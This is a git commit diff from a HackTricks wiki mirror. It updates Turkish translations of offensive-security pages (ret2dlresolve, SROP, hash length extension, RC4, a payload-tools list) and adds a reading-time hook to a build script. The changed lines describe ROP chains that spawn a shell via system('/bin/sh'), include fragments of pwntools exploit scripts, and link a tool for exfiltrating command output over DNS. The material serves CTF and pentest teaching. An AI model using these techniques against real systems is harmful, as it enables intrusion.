mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/README.md', 'src/binary-exploitation/rop-return-oriente
This commit is contained in:
parent
13d91fa905
commit
daf55bd626
@ -69,6 +69,12 @@ def ref(matchobj):
|
||||
return result
|
||||
|
||||
|
||||
def add_read_time(content):
|
||||
regex = r'(<\/style>\n# .*(?=\n))'
|
||||
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
|
||||
return new_content
|
||||
|
||||
|
||||
def iterate_chapters(sections):
|
||||
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
|
||||
return
|
||||
@ -99,6 +105,7 @@ if __name__ == '__main__':
|
||||
current_chapter = chapter
|
||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
new_content = re.sub(regex, ref, chapter['content'])
|
||||
new_content = add_read_time(new_content)
|
||||
chapter['content'] = new_content
|
||||
|
||||
content = json.dumps(book)
|
||||
|
@ -1,15 +1,12 @@
|
||||
# HackTricks
|
||||
|
||||
Okuma süresi: {{ #reading_time }}
|
||||
|
||||
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks logoları ve hareket tasarımı_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ tarafından yapılmıştır._
|
||||
|
||||
> [!TIP]
|
||||
> **CTF'lerden, gerçek yaşam uygulamalarından, araştırmaları okumaktan ve haberlerden öğrendiğim her hacking hilesini/tekniklerini/bir şeyleri bulacağınız wiki'ye hoş geldiniz.**
|
||||
> [!TIP] > **CTF'lerden, gerçek yaşam uygulamalarından, araştırmaları okumaktan ve haberlerden öğrendiğim her hacking hilesini/tekniklerini/bir şeyleri bulacağınız wiki'ye hoş geldiniz.**
|
||||
|
||||
Başlamak için, **bir veya daha fazla makineyi pentest ederken** **takip etmeniz gereken tipik akışı** bulacağınız bu sayfayı izleyin:
|
||||
Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeniz gereken tipik akışı** bulacağınız bu sayfayı izleyin:
|
||||
|
||||
{{#ref}}
|
||||
generic-methodologies-and-resources/pentesting-methodology.md
|
||||
@ -21,7 +18,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
|
||||
|
||||
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve **birçok değerli siber güvenlik hizmeti** sunmak için kendi hacking araçlarını geliştirir, bunlar arasında pentesting, Kırmızı takımlar ve eğitim bulunmaktadır.
|
||||
[**STM Cyber**](https://www.stmcyber.com) **HACK THE UNHACKABLE** sloganına sahip harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve **birçok değerli siber güvenlik hizmeti** sunmak için kendi hacking araçlarını geliştirir, bunlar arasında pentesting, Kırmızı takımlar ve eğitim bulunmaktadır.
|
||||
|
||||
**Bloglarını** [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinde kontrol edebilirsiniz.
|
||||
|
||||
@ -33,9 +30,11 @@ generic-methodologies-and-resources/pentesting-methodology.md
|
||||
|
||||
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com), **İspanya'daki** en önemli siber güvenlik etkinliği ve **Avrupa'daki** en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
|
||||
[**RootedCON**](https://www.rootedcon.com) **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
{{#ref}}
|
||||
https://www.rootedcon.com/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -45,9 +44,11 @@ generic-methodologies-and-resources/pentesting-methodology.md
|
||||
|
||||
**Intigriti**, **Avrupa'nın #1** etik hacking ve **bug bounty platformudur.**
|
||||
|
||||
**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
**Bug bounty ipucu**: **Intigriti**'ye **kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
{{#ref}}
|
||||
https://go.intigriti.com/hacktricks
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -60,7 +61,9 @@ Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlar
|
||||
|
||||
Bugün Erişim Alın:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -74,7 +77,7 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke
|
||||
- **Gerçek Zamanlı Hack Haberleri:** Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
|
||||
- **Son Duyurular:** Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla iş birliği yapmaya başlayın!
|
||||
**Bugün** [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla iş birliği yapmaya başlayın!
|
||||
|
||||
---
|
||||
|
||||
@ -86,7 +89,9 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke
|
||||
|
||||
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
{{#ref}}
|
||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -94,14 +99,14 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke
|
||||
|
||||
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi**, **arama motoru sonuçlarına** hızlı ve kolay gerçek zamanlı API'ler sunar. Arama motorlarını tarar, proxy'leri yönetir, captcha'ları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır.
|
||||
**SerpApi**, **arama motoru sonuçlarına** erişim sağlamak için hızlı ve kolay gerçek zamanlı API'ler sunar. Arama motorlarını tarar, proxy'leri yönetir, captcha'ları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır.
|
||||
|
||||
SerpApi'nın planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını taramak için 50'den fazla API'ye erişim içerir.\
|
||||
SerpApi'nin planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını taramak için 50'den fazla farklı API'ye erişim içerir.\
|
||||
Diğer sağlayıcılardan farklı olarak, **SerpApi sadece organik sonuçları taramaz**. SerpApi yanıtları, arama sonuçlarında bulunan tüm reklamları, satır içi resimleri ve videoları, bilgi grafiklerini ve diğer öğeleri ve özellikleri sürekli olarak içerir.
|
||||
|
||||
Mevcut SerpApi müşterileri arasında **Apple, Shopify ve GrubHub** bulunmaktadır.\
|
||||
Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın veya [**oyun alanlarında**](https://serpapi.com/playground) bir örnek deneyin.\
|
||||
**Buradan** [**ücretsiz bir hesap oluşturabilirsiniz**](https://serpapi.com/users/sign_up)**.**
|
||||
**Buradan** [**ücretsiz bir hesap**](https://serpapi.com/users/sign_up) oluşturabilirsiniz.**
|
||||
|
||||
---
|
||||
|
||||
@ -109,9 +114,11 @@ Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın v
|
||||
|
||||
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Mobil uygulamaları ve cihazları korumak için güvenlik açığı araştırması, penetrasyon testi ve tersine mühendislik yapmak için gereken teknolojileri ve becerileri öğrenin. **iOS ve Android güvenliğinde ustalaşın** ve **sertifika alın**:
|
||||
Mobil uygulamaları ve cihazları korumak için güvenlik açığı araştırması, penetrasyon testi ve tersine mühendislik yapma yeteneklerini ve teknolojilerini öğrenin. **iOS ve Android güvenliğinde ustalaşın** ve **sertifika alın**:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
{{#ref}}
|
||||
https://academy.8ksec.io/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -119,15 +126,17 @@ Mobil uygulamaları ve cihazları korumak için güvenlik açığı araştırmas
|
||||
|
||||
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **dünyanın dört bir yanındaki** işletmeleri en son siber güvenlik tehditlerine karşı korumaya yardımcı olmak için **saldırı güvenliği hizmetleri** sunmaktadır.
|
||||
[**WebSec**](https://websec.nl) **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **dünyanın dört bir yanındaki** işletmeleri en son siber güvenlik tehditlerine karşı korumaya yardımcı olmak için **ofansif güvenlik hizmetleri** sunmaktadır.
|
||||
|
||||
WebSec, **her şeyi yapan** bir **hepsi bir arada güvenlik şirketidir**; Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, İstismar Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve daha fazlasını yapmaktadır.
|
||||
WebSec, pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, İstismar Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve daha fazlasını içeren **hepsi bir arada güvenlik şirketidir**.
|
||||
|
||||
WebSec'in bir diğer ilginç yanı, sektördeki ortalama ile karşılaştırıldığında WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödemiyorsunuz!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
|
||||
WebSec'in diğer bir ilginç yanı, sektördeki ortalamadan farklı olarak WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödemiyorsunuz!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
|
||||
|
||||
Yukarıdakilere ek olarak WebSec, **HackTricks'in kararlı bir destekçisidir.**
|
||||
Yukarıdakilere ek olarak WebSec, HackTricks'in de **kararlı bir destekçisidir.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
{{#endref}}
|
||||
|
||||
## Lisans & Feragatname
|
||||
|
||||
|
@ -8,16 +8,18 @@
|
||||
|
||||
**`_dl_runtime_resolve`** fonksiyonu, belirtilen sembolü **çözmek** için ihtiyaç duyduğu bazı yapıların yığın referanslarını alır.
|
||||
|
||||
Bu nedenle, dinamik bağlantılı çözümlemenin talep edilen sembolü (örneğin **`system`** fonksiyonu) çözmesini sağlamak için **tüm bu yapıları sahte hale getirmek** mümkündür ve bunu yapılandırılmış bir parametre ile çağırmak (örneğin **`system('/bin/sh')`**) mümkündür.
|
||||
Bu nedenle, dinamik bağlantılı çözümlemenin istenen sembolü (örneğin **`system`** fonksiyonu) çözmesi için **tüm bu yapıları sahtelemek** mümkündür ve bunu yapılandırılmış bir parametre ile çağırmak (örneğin **`system('/bin/sh')`**) mümkündür.
|
||||
|
||||
Genellikle, tüm bu yapılar, yazılabilir bir bellek üzerinde **`read`** çağrısı yapan bir **ilk ROP zinciri** oluşturarak sahte hale getirilir, ardından **yapılar** ve **`'/bin/sh'`** dizesi, bilinen bir konumda saklanmak üzere okunur ve ardından ROP zinciri **`_dl_runtime_resolve`** çağrısı yaparak devam eder, sahte yapılardaki **`system`** adresini **çözmesini** sağlar ve bu adresi **`'/bin/sh'`** adresi ile çağırır.
|
||||
Genellikle, tüm bu yapılar, yazılabilir bir bellek üzerinde **`read`** çağrısı yapan bir **ilk ROP zinciri** oluşturarak sahtelenir, ardından **yapılar** ve **`'/bin/sh'`** dizesi, bilinen bir konumda saklanmak üzere okunur ve ardından ROP zinciri **`_dl_runtime_resolve`** çağrısı yaparak devam eder, sahte yapılardaki **`system`** adresini **çözmesini** sağlar ve bu adresi **`'/bin/sh'`** adresi ile çağırır.
|
||||
|
||||
> [!TIP]
|
||||
> Bu teknik, özellikle syscall gadget'ları yoksa (örneğin [**ret2syscall**](rop-syscall-execv/) veya [SROP](srop-sigreturn-oriented-programming/)) ve libc adreslerini sızdırmanın yolları yoksa faydalıdır.
|
||||
> Bu teknik, özellikle syscall gadget'ları yoksa (örneğin [**ret2syscall**](rop-syscall-execv/) veya [SROP](srop-sigreturn-oriented-programming/) gibi teknikler kullanmak için) ve libc adreslerini sızdırmanın bir yolu yoksa faydalıdır.
|
||||
|
||||
Bu teknik hakkında güzel bir açıklama için videonun ikinci yarısına bakın:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
Ya da adım adım açıklama için bu sayfalara göz atın:
|
||||
|
||||
@ -28,7 +30,7 @@ Ya da adım adım açıklama için bu sayfalara göz atın:
|
||||
|
||||
1. Bazı yerlerde sahte yapılar yazın
|
||||
2. system'ın ilk argümanını ayarlayın (`$rdi = &'/bin/sh'`)
|
||||
3. **`_dl_runtime_resolve`** çağrısı için yığında yapıların adreslerini ayarlayın
|
||||
3. **`_dl_runtime_resolve`** çağrısı için yapılarının adreslerini yığında ayarlayın
|
||||
4. **Çağırın** `_dl_runtime_resolve`
|
||||
5. **`system`** çözülecek ve `'/bin/sh'` argümanı ile çağrılacaktır
|
||||
|
||||
@ -186,6 +188,6 @@ target.interactive()
|
||||
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
|
||||
- 32bit, relro yok, canary yok, nx, pie yok, temel küçük buffer overflow ve dönüş. Bunu istismar etmek için bof, `read`'i tekrar çağırmak için kullanılır, `.bss` bölümünde daha büyük bir boyutla, `system`'ı yüklemek için `dlresolve` sahte tablolarını oraya depolamak için, ana fonksiyona geri dönmek ve başlangıçtaki bof'u yeniden kullanarak dlresolve'u çağırmak ve ardından `system('/bin/sh')` çağırmak için.
|
||||
- 32bit, relro yok, canary yok, nx, pie yok, temel küçük tampon taşması ve dönüş. Bunu istismar etmek için, bof tekrar `read` çağrısı yapmak için kullanılır, `.bss` bölümünde ve daha büyük bir boyutta, `system` yüklemek için `dlresolve` sahte tablolarını oraya depolamak için, ana fonksiyona geri dönmek ve başlangıçtaki bof'u yeniden kullanarak dlresolve'u çağırmak ve ardından `system('/bin/sh')` çağırmak için.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
**`Sigreturn`**, bir sinyal işleyicisinin yürütmesini tamamladıktan sonra temizlemek için kullanılan özel bir **syscall**'dır. Sinyaller, işletim sistemi tarafından bir programa gönderilen kesintilerdir ve genellikle olağanüstü bir durumun meydana geldiğini belirtmek için kullanılır. Bir program bir sinyal aldığında, sinyali işlemek için geçici olarak mevcut işini durdurur ve bu işlem için özel olarak tasarlanmış bir **sinyal işleyici** kullanır.
|
||||
|
||||
Sinyal işleyici tamamlandıktan sonra, programın **önceki durumuna geri dönmesi** gerekir, sanki hiçbir şey olmamış gibi. İşte bu noktada **`sigreturn`** devreye girer. Programın **sinyal işleyicisinden dönmesine** yardımcı olur ve sinyal işleyici tarafından kullanılan yığın çerçevesini (fonksiyon çağrılarını ve yerel değişkenleri depolayan bellek bölümü) temizleyerek programın durumunu geri yükler.
|
||||
Sinyal işleyici tamamlandıktan sonra, programın **önceki durumuna devam etmesi** gerekir, sanki hiçbir şey olmamış gibi. İşte bu noktada **`sigreturn`** devreye girer. Programın **sinyal işleyicisinden dönmesine** yardımcı olur ve sinyal işleyici tarafından kullanılan yığın çerçevesini (fonksiyon çağrılarını ve yerel değişkenleri depolayan bellek bölümü) temizleyerek programın durumunu geri yükler.
|
||||
|
||||
İlginç olan, **`sigreturn`**'ın programın durumunu nasıl geri yüklediğidir: **tüm CPU'nun kayıt değerlerini yığında saklayarak** bunu yapar. Sinyal artık engellenmediğinde, **`sigreturn` bu değerleri yığından çıkarır**, böylece CPU'nun kayıtlarını sinyal işlenmeden önceki durumuna sıfırlar. Bu, yığının mevcut üst kısmını gösteren yığın işaretçi kaydı (RSP) dahil olmak üzere tüm kayıtları içerir.
|
||||
|
||||
@ -57,11 +57,13 @@ Eğer merak ediyorsanız, bu daha sonra değerleri geri almak için yığında s
|
||||
```
|
||||
Daha iyi bir açıklama için ayrıca kontrol edin:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Örnek
|
||||
|
||||
[**Burada bir örnek bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) burada signeturn çağrısı ROP aracılığıyla oluşturulmuştur (rxa'ya `0xf` değeri konulmuştur), ancak buradan itibaren bu son istismar:
|
||||
[**Burada bir örnek bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) burada signeturn çağrısının ROP aracılığıyla oluşturulduğu (rxa'ya `0xf` değeri yerleştirilerek) gösterilmektedir, ancak buradan itibaren son istismar budur:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -88,7 +90,7 @@ payload += bytes(frame)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Ayrıca, ikili dosyanın zaten `sigreturn` çağırdığı ve bu nedenle bunun bir **ROP** ile inşa edilmesine gerek olmadığı [**buradan istismar edin**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) kısmını kontrol edin:
|
||||
Ayrıca [**buradan istismar edin**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) kontrol edin, burada ikili dosya zaten `sigreturn` çağrıyordu ve bu nedenle bunu bir **ROP** ile inşa etmek gerekmez:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -130,9 +132,9 @@ target.interactive()
|
||||
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
|
||||
- **Yığıta yazma** ve ardından **`sigreturn`** syscall'ini çağırma imkanı veren bir Assembly ikili dosyası. Yığıta bir [**ret2syscall**](../rop-syscall-execv/) yazmak mümkündür (ikili dosya `/bin/sh` dizesine sahiptir).
|
||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
||||
- 64 bit, relro yok, canary yok, nx, pie yok. `gets` fonksiyonunu kötüye kullanan basit bir buffer overflow, [**ret2syscall**](../rop-syscall-execv/) gerçekleştiren gadget eksikliği ile. ROP zinciri, `.bss`'ye `/bin/sh` yazarak tekrar gets'i çağırır, **`alarm`** fonksiyonunu kullanarak eax'ı `0xf` olarak ayarlayıp bir **SROP** çağırır ve bir shell çalıştırır.
|
||||
- 64 bit, relro yok, canary yok, nx, pie yok. `gets` fonksiyonunu kötüye kullanarak basit bir buffer overflow. [**ret2syscall**](../rop-syscall-execv/) gerçekleştiren gadget eksikliği. ROP zinciri, `gets`'i tekrar çağırarak `/bin/sh`'yi `.bss`'ye yazar, **`alarm`** fonksiyonunu kullanarak eax'ı `0xf` olarak ayarlayıp bir **SROP** çağırır ve bir shell çalıştırır.
|
||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
|
||||
- 64 bit assembly programı, relro yok, canary yok, nx, pie yok. Akış, yığıta yazma, birkaç kaydı kontrol etme ve bir syscall çağırma imkanı verir ve ardından `exit` çağrılır. Seçilen syscall, kayıtları ayarlayacak ve `eip`'yi önceki syscall talimatını çağırmak için hareket ettirecek bir `sigreturn`'dır ve ikili alanı `rwx` olarak ayarlamak için `memprotect` çağırır ve ESP'yi ikili alanda ayarlar. Akışı takip ederek, program ESP'ye tekrar okuma yapacak, ancak bu durumda ESP bir sonraki talimata işaret edecektir, böylece bir shellcode geçişi, onu bir sonraki talimat olarak yazacak ve çalıştıracaktır.
|
||||
- 64 bit assembly programı, relro yok, canary yok, nx, pie yok. Akış, yığıta yazma, birkaç kaydı kontrol etme ve bir syscall çağırma imkanı verir, ardından `exit` çağrılır. Seçilen syscall, kayıtları ayarlayacak ve `eip`'yi önceki syscall talimatını çağırmak için hareket ettirecek bir `sigreturn`'dır ve ikili alanı `rwx` olarak ayarlamak için `memprotect` çağırır ve ESP'yi ikili alanda ayarlar. Akışı takip ederek, program ESP'ye tekrar okuma yapacak, ancak bu durumda ESP bir sonraki talimata işaret edecektir, böylece bir shellcode geçerek onu bir sonraki talimat olarak yazacak ve çalıştıracaktır.
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
- SROP, bir shellcode'un yerleştirildiği yere yürütme ayrıcalıkları (memprotect) vermek için kullanılır.
|
||||
|
||||
|
@ -1,16 +1,18 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
# Temel Payloadlar
|
||||
# Temel Yükler
|
||||
|
||||
- **Basit Liste:** Her satırda bir giriş içeren bir liste
|
||||
- **Çalışma Zamanı Dosyası:** Çalışma zamanında okunan bir liste (belleğe yüklenmez). Büyük listeleri desteklemek için.
|
||||
- **Durum Değişikliği:** Bir dizi dizeye bazı değişiklikler uygulamak (değişiklik yok, küçük harfe, BÜYÜK HARFE, Doğru isim - İlk harf büyük ve geri kalan küçük-, Doğru İsim - İlk harf büyük ve geri kalan aynı kalır-).
|
||||
- **Sayılar:** X'den Y'ye Z adım kullanarak veya rastgele sayılar üretmek.
|
||||
- **Durum Değişikliği:** Bir dizi dize üzerinde bazı değişiklikler uygulama (değişiklik yok, küçük harfe çevir, BÜYÜK HARFE çevir, Özel isim - İlk harf büyük, geri kalanı küçük-, Özel İsim - İlk harf büyük ve geri kalanı aynı kalır-).
|
||||
- **Sayılar:** X'den Y'ye Z adım kullanarak veya rastgele sayılar oluşturma.
|
||||
- **Kaba Kuvvet:** Karakter seti, minimum & maksimum uzunluk.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Komutları çalıştırmak ve çıktıyı DNS istekleri aracılığıyla burpcollab'a almak için payload.
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Komutları çalıştırmak ve çıktıyı burpcollab'a DNS istekleri aracılığıyla almak için yük.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
{{#ref}}
|
||||
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
|
||||
{{#endref}}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
|
||||
|
||||
Daha fazla esoterik dil aramak için o wikiye göz atın
|
||||
Daha fazla esoterik dil aramak için o wikiye göz atın.
|
||||
|
||||
## Malbolge
|
||||
```
|
||||
@ -48,7 +48,9 @@ Take it to the top
|
||||
|
||||
Whisper my world
|
||||
```
|
||||
{% embed url="https://codewithrockstar.com/" %}
|
||||
{{#ref}}
|
||||
https://codewithrockstar.com/
|
||||
{{#endref}}
|
||||
|
||||
## PETOOH
|
||||
```
|
||||
|
@ -4,16 +4,16 @@
|
||||
|
||||
## Saldırının Özeti
|
||||
|
||||
Bir sunucunun bazı bilinen düz metin verilerine bir **gizli** ekleyerek **imzaladığı** bazı **verileri** hayal edin ve ardından bu verileri hash'lediğini düşünün. Eğer şunları biliyorsanız:
|
||||
Bir sunucunun bazı bilinen düz metin verilerine bir **gizli** ekleyerek **imza** attığını ve ardından bu veriyi **hash**lediğini hayal edin. Eğer şunları biliyorsanız:
|
||||
|
||||
- **Gizlinin uzunluğu** (bu, belirli bir uzunluk aralığından da brute force ile elde edilebilir)
|
||||
- **Düz metin verisi**
|
||||
- **Gizlinin uzunluğu** (bu, verilen bir uzunluk aralığından da brute force ile elde edilebilir)
|
||||
- **Düz metin veri**
|
||||
- **Algoritma (ve bu saldırıya karşı savunmasız)**
|
||||
- **Padding biliniyor**
|
||||
- Genellikle varsayılan bir padding kullanılır, bu nedenle diğer 3 gereklilik karşılandığında, bu da geçerlidir
|
||||
- Padding, gizli+veri uzunluğuna bağlı olarak değişir, bu yüzden gizlinin uzunluğu gereklidir
|
||||
|
||||
O zaman, bir **saldırgan** **veri ekleyip** **önceki veri + eklenen veri** için geçerli bir **imza** **üretebilir**.
|
||||
O zaman, bir **saldırgan** **veri** ekleyip **önceki veri + eklenen veri** için geçerli bir **imza** **üretebilir**.
|
||||
|
||||
### Nasıl?
|
||||
|
||||
@ -29,7 +29,9 @@ Eğer bir saldırgan "append" dizesini eklemek isterse, şunları yapabilir:
|
||||
|
||||
### **Araç**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
{{#ref}}
|
||||
https://github.com/iagox86/hash_extender
|
||||
{{#endref}}
|
||||
|
||||
### Referanslar
|
||||
|
||||
|
@ -1,11 +1,15 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Eğer bir şekilde bir düz metni RC4 kullanarak şifreleyebilirseniz, o RC4 ile şifrelenmiş herhangi bir içeriği (aynı şifreyi kullanarak) sadece şifreleme fonksiyonunu kullanarak çözebilirsiniz.
|
||||
Eğer bir şekilde bir düz metni RC4 kullanarak şifreleyebilirseniz, aynı şifreyi kullanarak o RC4 ile şifrelenmiş herhangi bir içeriği sadece şifreleme fonksiyonunu kullanarak çözebilirsiniz.
|
||||
|
||||
Eğer bilinen bir düz metni şifreleyebiliyorsanız, şifreyi de çıkarabilirsiniz. Daha fazla referans HTB Kryptos makinesinde bulunabilir:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
# Saldırının Özeti
|
||||
|
||||
Bir sunucunun bazı bilinen açık metin verilerine bir **gizli** ekleyerek **imzaladığı** bazı **verileri** hayal edin ve ardından bu verileri hash'lediğini düşünün. Eğer şunları biliyorsanız:
|
||||
Bir sunucunun bazı bilinen açık metin verilerine bir **gizli** ekleyerek **imzaladığı** bazı **verileri** hayal edin ve ardından bu verileri hashlediğini düşünün. Eğer şunları biliyorsanız:
|
||||
